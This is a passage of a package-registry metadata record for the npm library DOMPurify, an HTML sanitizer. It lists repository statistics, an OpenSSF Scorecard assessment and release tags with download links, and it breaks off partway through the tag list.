{"id":1627018,"name":"dompurify","ecosystem":"npm","description":"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It runs as JavaScript and works in all modern browsers, as well as in Node.js (via jsdom). DOMPurify is written by security people who have vast background in web a","homepage":"https://github.com/cure53/DOMPurify","licenses":"(MPL-2.0 OR Apache-2.0)","normalized_licenses":["MPL-2.0","Apache-2.0"],"repository_url":"https://github.com/cure53/DOMPurify","keywords_array":["dom","xss","html","svg","mathml","security","secure","sanitizer","sanitize","filter","purify"],"namespace":null,"versions_count":154,"first_release_published_at":"2014-05-21T18:34:38.970Z","latest_release_published_at":"2026-10-12T12:41:28.880Z","latest_release_number":"3.4.17","latest_published_release_number":"3.4.17","last_synced_at":"2026-10-26T20:20:39.153Z","created_at":"2022-04-09T12:25:15.948Z","updated_at":"2026-10-27T20:20:03.073Z","registry_url":"https://www.npmjs.com/package/dompurify","install_command":"npm install dompurify","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"3.4.17"},"contentPolicy":null},"repo_metadata":{"id":14220784,"uuid":"16927692","full_name":"cure53/DOMPurify","owner":"cure53","description":"DOMPurify - a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. DOMPurify works with a secure default, but offers a lot of configurability and hooks. Demo:","archived":false,"fork":false,"pushed_at":"2026-10-16T22:07:35.000Z","size":15242,"stargazers_count":17478,"open_issues_count":13,"forks_count":872,"subscribers_count":149,"default_branch":"main","last_synced_at":"2026-10-20T14:28:46.972Z","etag":null,"topics":["cross-site-scripting","dom","dompurify","html","javascript","mathml","prevent-xss-attacks","sanitizer","security","svg","xss"],"latest_commit_sha":null,"homepage":"https://cure53.de/purify","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/cure53.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":"CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"cure53"}},"created_at":"2014-02-17T21:48:14.000Z","updated_at":"2026-10-19T17:11:58.000Z","dependencies_parsed_at":"2026-10-06T12:27:40.725Z","dependency_job_id":null,"html_url":"https://github.com/cure53/DOMPurify","commit_stats":{"total_commits":1660,"total_committers":116,"mean_commits":"14.310344827586206","dds":0.4126506024096386,"last_synced_commit":"2cf6e2510699261a0004e3431c4e8a0bbd65b230"},"previous_names":[],"tags_count":153,"template":false,"template_full_name":null,"purl":"pkg:github/cure53/DOMPurify","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cure53","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/sbom","scorecard":{"id":312823,"data":{"date":"2025-08-11","repo":{"name":"github.com/cure53/DOMPurify","commit":"c5371f363ba5e51cddaa1f9ca84b4df6aeeffc5e"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.4,"checks":[{"name":"Code-Review","score":1,"reason":"Found 2/16 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 22 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/build-and-test.yml:1","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-and-test.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/build-and-test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-and-test.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/build-and-test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build-and-test.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/build-and-test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/cure53/DOMPurify/codeql-analysis.yml/main?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'","Warn: branch protection not enabled for branch '3.x'","Warn: branch protection not enabled for branch '2.x'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 16 commits out of 17 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":6,"reason":"4 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-c2qf-rxjj-qqgw"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T23:29:41.745Z","repository_id":14220784,"created_at":"2025-08-17T23:29:41.745Z","updated_at":"2025-08-17T23:29:41.745Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344872684,"owners_count":38404095,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-20T02:00:06.669Z","response_time":101,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"cure53","name":"Cure53","uuid":"6709482","kind":"user","description":"And there is fire where we walk.","email":"mario@cure53.de","website":"https://cure53.de","location":"Berlin","twitter":null,"company":"Fine penetration tests for fine websites","icon_url":"https://avatars.githubusercontent.com/u/6709482?u=4149eb5ebf4e59175c31bbc618805bce4d0535dc\u0026v=4","repositories_count":21,"last_synced_at":"2026-10-17T08:57:40.937Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/cure53","funding_links":["https://github.com/sponsors/cure53"],"total_stars":25344,"followers":2775,"following":0,"created_at":"2022-11-02T16:25:42.714Z","updated_at":"2026-10-17T08:57:40.949Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cure53","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cure53/repositories"},"tags":[{"name":"3.4.16","sha":"b9b9d80f7e401771c2ccaef5f45def7eec8f27d7","kind":"tag","published_at":"2026-09-23T15:18:24.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.16","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.16/manifests","release_url":null},{"name":"3.4.15","sha":"1d7460c4f8a27be825c11b1c9d346d79db32c1e5","kind":"tag","published_at":"2026-09-06T11:33:03.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.15","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.15/manifests","release_url":null},{"name":"3.4.14","sha":"4e6fe24173f1a85eafacd95e3c82966e29d34d49","kind":"tag","published_at":"2026-08-19T10:08:15.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.14","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.14/manifests","release_url":null},{"name":"3.4.13","sha":"3067f774676975de12306effd6db6ad7a9a8c17f","kind":"tag","published_at":"2026-08-03T14:06:12.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.13","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.13/manifests","release_url":null},{"name":"3.4.12","sha":"a9ca1e537422319a557a9a2aa61f003b23b4a197","kind":"tag","published_at":"2026-07-11T11:55:48.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.12","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.12/manifests","release_url":null},{"name":"3.4.11","sha":"0cae5187403132f96a6d357649e4b15633fc210a","kind":"tag","published_at":"2026-06-17T10:05:33.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.11/manifests","release_url":null},{"name":"3.4.10","sha":"6ee5716f8336989753611beeca364957c0eb0c3e","kind":"tag","published_at":"2026-06-12T11:56:52.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.10/manifests","release_url":null},{"name":"3.4.9","sha":"52102472d46035857c52df19e44285f8a1e102fc","kind":"tag","published_at":"2026-06-10T08:36:30.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.9/manifests","release_url":null},{"name":"3.4.8","sha":"bcdd8285412dc9c4c149652aed2d712e790d6ccf","kind":"tag","published_at":"2026-06-03T11:57:49.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.8/manifests","release_url":null},{"name":"3.4.7","sha":"ca30f070c360df162a3e3848e80e6fd3c9e74bff","kind":"tag","published_at":"2026-05-27T11:28:34.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.7/manifests","release_url":null},{"name":"3.4.6","sha":"bb7739e5bccec7e1ab3dae3f3e42d02db3acaaae","kind":"tag","published_at":"2026-05-26T10:37:50.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.6/manifests","release_url":null},{"name":"3.4.5","sha":"011b0c78f2a0f57ee54f5fcccb697a46ca6e63ea","kind":"tag","published_at":"2026-05-18T07:37:52.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.5/manifests","release_url":null},{"name":"3.4.4","sha":"5817ad969c15e67dfcd6cb37248d6e9c1553e7c3","kind":"tag","published_at":"2026-05-17T10:27:25.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.4/manifests","release_url":null},{"name":"3.4.3","sha":"520edb0371a9638f9b51f1798051299a250c686b","kind":"tag","published_at":"2026-05-13T11:00:36.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.3/manifests","release_url":null},{"name":"3.4.2","sha":"6f67fd396a7b8c64294343999fe607ca1f5299c0","kind":"tag","published_at":"2026-04-30T12:27:35.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.2/manifests","release_url":null},{"name":"3.4.1","sha":"5b0cdbbf52331e854c0a2de875b1a3790ecec2b8","kind":"tag","published_at":"2026-04-21T16:29:33.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.1/manifests","release_url":null},{"name":"3.4.0","sha":"5b16e0b892e82b1779d62b9928b43c4c4ff290b9","kind":"commit","published_at":"2026-04-14T06:54:45.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.4.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.4.0/manifests","release_url":null},{"name":"3.3.3","sha":"8bcbf73ae7eb56e7b4f1300b66cf543342c7ee27","kind":"commit","published_at":"2026-03-11T07:55:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.3.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.3/manifests","release_url":null},{"name":"2.5.9","sha":"0951ca486477278dde23a9ffc5702383ee06104c","kind":"commit","published_at":"2026-03-05T11:40:21.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.9/manifests","release_url":null},{"name":"3.3.2","sha":"5e56114cb24079ce52dbc51f76e494b77afa5153","kind":"commit","published_at":"2026-03-05T10:49:38.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.3.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.2/manifests","release_url":null},{"name":"3.3.1","sha":"6fc446a589ab3d1d72ae2a5b71167ba38dbd3096","kind":"commit","published_at":"2025-12-08T14:23:46.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.3.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.1/manifests","release_url":null},{"name":"3.3.0","sha":"36d1fbcc4e3bf035a7306d86df841a4865d018c7","kind":"commit","published_at":"2025-10-13T14:01:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.3.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.3.0/manifests","release_url":null},{"name":"3.2.7","sha":"eaa0bdb26a1d0164af587d9059b98269008faece","kind":"commit","published_at":"2025-09-17T11:29:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.7/manifests","release_url":null},{"name":"3.2.6","sha":"32f765e632ff34eebf5e08128ae1ff8f0d0bbe7a","kind":"commit","published_at":"2025-05-19T15:16:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.6/manifests","release_url":null},{"name":"3.2.5","sha":"78060045e4d3ec0d199eb61bbeca02d8268ac310","kind":"commit","published_at":"2025-04-03T12:54:02.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.5/manifests","release_url":null},{"name":"3.2.4","sha":"ec29e65f3675077c1a78e6edcab97f797f004a2e","kind":"commit","published_at":"2025-01-30T07:23:45.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.4/manifests","release_url":null},{"name":"2.5.8","sha":"ee992fc4880215757c9c09e9638bb95e1dc24533","kind":"commit","published_at":"2024-12-09T08:41:34.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.8","manifests_url":"https://repos.ecosyste